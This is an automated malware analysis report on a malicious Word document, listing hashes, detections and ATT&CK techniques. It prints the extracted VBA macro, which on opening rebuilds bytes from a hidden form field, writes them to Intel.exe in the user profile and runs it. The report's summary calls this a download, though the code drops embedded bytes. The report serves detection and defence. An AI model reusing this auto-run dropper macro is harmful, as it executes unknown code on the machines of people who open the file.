Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d519261ad4798b98…

MALICIOUS

Office (OLE)

4.23 MB Created: 2019-12-09 22:28:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: a95440c4e6c0967284fed8ddd14d7a19 SHA-1: 4093aa682c40c2f70edc5417d3d6841303ec42e0 SHA-256: d519261ad4798b98f8b3c0ad91a25062dfaed67e1ec3b310257cb226cc08b36d
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that executes a Class1 subroutine. This subroutine constructs a path to 'Intel.exe' in the user's profile directory, writes byte data (presumably a payload) to this file, and then executes it using the Shell() function. This indicates a clear intent to download and run a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.W2000m-7496872-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.W2000m-7496872-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1712 bytes
SHA-256: 314cd4c8b3bc4f20d0df71835753050c1d7464f8971116fda60132ddd096a3ad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()



End Sub

Private Sub Document_Open()
Dim objective As New Class1

objective.Con
End Sub

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub Con()
Dim BITy() As Byte
Dim str() As String
Dim Path As String
Path = Environ$("USERPROFILE") & "\Intel.exe"
str = Split(UserForm1.TextBox1.Text, "!")
Dim Index As Double
Index = 0
For Each arr In str
ReDim Preserve BITy(Index)
BITy(Index) = CByte(arr)
Index = Index + 1
Next arr
Create BITy
End Sub
Public Sub Create(bit() As Byte)
Dim Path1 As String
Path1 = Environ$("USERPROFILE") & "\Intel.exe"
Open Path1 For Binary Access Write As #1
Put #1, , bit
Close 1
Run
End Sub
Public Sub Run()
Dim RunPath As Variant
RunPath = Environ$("USERPROFILE") & "\Intel.exe"
Dim RetVal
RetVal = Shell(RunPath, 1)
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{990F14CF-5CFB-44AC-B3F5-DF4FFE892084}{5440534D-08B7-4404-98E7-61A98145D819}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Open this report in the interactive analyzer, or submit your own file for analysis.